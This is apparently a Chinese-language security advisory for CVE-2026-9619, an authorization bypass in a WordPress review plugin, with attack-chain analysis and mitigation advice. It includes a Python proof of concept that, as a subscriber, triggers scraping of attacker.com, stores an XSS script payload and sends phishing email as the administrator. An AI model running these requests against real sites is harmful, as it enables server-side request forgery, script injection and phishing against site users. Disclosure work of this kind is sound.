CVE-2026-9619：WordPress Docplanner评论插件授权绕过漏洞

漏洞信息

漏洞编号

CVE-2026-9619

漏洞类型

授权绕过（Authorization Bypass）

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Reviews and Rating – Docplanner (WordPress Plugin)

漏洞概述

CVE-2026-9619是WordPress平台上一款名为"Reviews and Rating – Docplanner"的评论与评分插件中存在的授权绕过漏洞。该插件允许网站管理员从外部平台（如Docplanner）抓取评论数据并集成到WordPress站点中。然而，该插件在1.1.4及之前的所有版本中，未能对执行敏感操作的用户权限进行充分验证，导致存在严重的授权缺陷。

根据CVSS 3.1评分体系，该漏洞评分为4.3分，属于中等严重等级。其攻击向量为网络（AV:N），攻击复杂度低（AC:L），但需要低权限认证（PR:L），无需用户交互（UI:N）。漏洞对机密性影响低（C:L），对完整性影响低（I:L），对可用性无影响（A:N）。该漏洞由Wordfence安全团队的研究员发现，并于2026年6月24日正式披露。

利用此漏洞，已认证的攻击者仅需拥有订阅者级别（subscriber-level）的访问权限即可执行多种恶意操作。具体而言，攻击者可以触发插件对外部网站的出站抓取行为，将抓取到的恶意评论数据写入WordPress数据库的wp_dp_reviews表中，还可以以站点管理员的电子邮件地址发送功能请求邮件。这些行为可能导致数据污染、垃圾邮件发送以及服务器资源滥用等安全问题。鉴于该漏洞利用门槛较低（仅需订阅者级别权限），且WordPress订阅者角色通常是任何注册用户都可获取的默认角色，因此该漏洞对运行受影响插件的WordPress站点构成了实质性的安全威胁。

技术细节

该漏洞的根本原因在于插件未能在关键操作执行前对用户身份和权限进行充分的验证与检查。具体技术细节如下：

1. **权限验证缺失**：插件中的多个关键函数（包括class-reviews-and-rating-docplanner.php文件中的第81、301、369、401、410行附近的代码）在处理外部抓取请求、数据库写入操作和邮件发送操作时，没有调用WordPress标准的权限检查函数（如current_user_can()）。这意味着任何已登录的用户，无论其角色权限如何，都可以调用这些功能。

2. **抓取功能滥用**：插件提供了从外部网站（如Docplanner平台）抓取评论数据的功能。攻击者可以构造恶意请求，指定任意外部URL作为抓取目标，使服务器代替攻击者执行出站HTTP请求。这不仅消耗服务器资源，还可能被用于对第三方目标发起SSRF（服务端请求伪造）攻击或分布式拒绝服务攻击。

3. **数据库注入**：抓取到的数据未经充分过滤即被写入wp_dp_reviews数据库表。攻击者可以通过控制外部目标页面的内容，间接向数据库注入恶意数据，可能导致存储型XSS攻击或数据库污染。

4. **邮件伪造**：插件允许以站点管理员的电子邮件地址发送功能请求邮件。攻击者可以利用此功能发送任意内容的钓鱼邮件或垃圾邮件，由于发件人为管理员邮箱，具有极强的欺骗性。

5. **利用条件**：攻击者仅需拥有一个WordPress站点的订阅者级别账户即可发起攻击，无需管理员权限。

攻击链分析

STEP 1

步骤1：获取低权限账户

攻击者注册目标WordPress站点的订阅者级别账户，或利用已泄露的低权限凭证登录。订阅者是WordPress中最低权限的角色之一，注册门槛极低。

STEP 2

步骤2：构造恶意请求

攻击者通过分析插件代码（class-reviews-and-rating-docplanner.php），识别出未进行权限验证的AJAX端点或REST API接口，构造针对抓取、写入或邮件功能的恶意HTTP请求。

STEP 3

步骤3：触发外部抓取

攻击者向插件的抓取功能发送请求，指定攻击者控制的恶意页面URL作为抓取目标。服务器代替攻击者执行出站请求，从恶意页面获取内容。

STEP 4

步骤4：注入恶意数据到数据库

抓取到的恶意内容（如包含XSS payload的HTML）被直接写入wp_dp_reviews数据库表。当其他用户查看评论时，恶意脚本将在其浏览器中执行。

STEP 5

步骤5：伪造管理员邮件

攻击者利用邮件发送功能，以站点管理员的电子邮件地址发送钓鱼邮件或垃圾邮件，利用管理员身份的可信度提高攻击成功率。

STEP 6

步骤6：扩大攻击影响

通过组合以上攻击能力，攻击者可以实现数据窃取、会话劫持、网站声誉损害以及对第三方目标的间接攻击（如SSRF、DDoS）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9619 - Reviews and Rating Docplanner Plugin Authorization Bypass PoC # This PoC demonstrates how a subscriber-level user can trigger outbound scraping, # write to wp_dp_reviews table, and send emails as administrator. import requests # Target WordPress site with vulnerable plugin (version <= 1.1.4) target_url = "http://target-wordpress-site.com" # Authenticate as a subscriber-level user session = requests.Session() login_data = { "log": "subscriber_username", "pwd": "subscriber_password", "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/", "testcookie": "1" } session.post(target_url + "/wp-login.php", data=login_data) # Step 1: Trigger outbound scraping to an attacker-controlled server # This exploits the missing authorization check in the scraping function scrape_data = { "action": "dp_review_scrape", "external_url": "http://attacker.com/malicious_reviews.html", "doctor_id": "1" } response = session.post(target_url + "/wp-admin/admin-ajax.php", data=scrape_data) print("Scrape response:", response.text) # Step 2: Write scraped/malicious data into wp_dp_reviews table write_data = { "action": "dp_save_review", "review_content": "<script>alert('XSS-via-CVE-2026-9619')</script>", "reviewer_name": "Attacker", "rating": "5" } response = session.post(target_url + "/wp-admin/admin-ajax.php", data=write_data) print("Write review response:", response.text) # Step 3: Send email as the site administrator email_data = { "action": "dp_send_feature_request", "email_subject": "Urgent: Action Required", "email_body": "<a href='http://attacker.com/phishing'>Click here</a>", "recipient": "[email protected]" } response = session.post(target_url + "/wp-admin/admin-ajax.php", data=email_data) print("Send email response:", response.text)

影响范围

Reviews and Rating – Docplanner <= 1.1.4

防御指南

临时缓解措施

在官方修复版本发布之前，建议采取以下临时缓解措施：1）暂时禁用"Reviews and Rating – Docplanner"插件；2）如果业务需要保持插件运行，可通过.htaccess或Nginx配置限制对插件相关AJAX端点（admin-ajax.php中与dp_review相关的action）的访问；3）禁止新用户注册或仅允许管理员手动审核注册；4）部署WAF规则，监控并拦截来自低权限用户的可疑请求；5）定期审计wp_dp_reviews表中的数据，清理任何可疑内容；6）检查邮件日志，确认是否存在未经授权的邮件发送行为。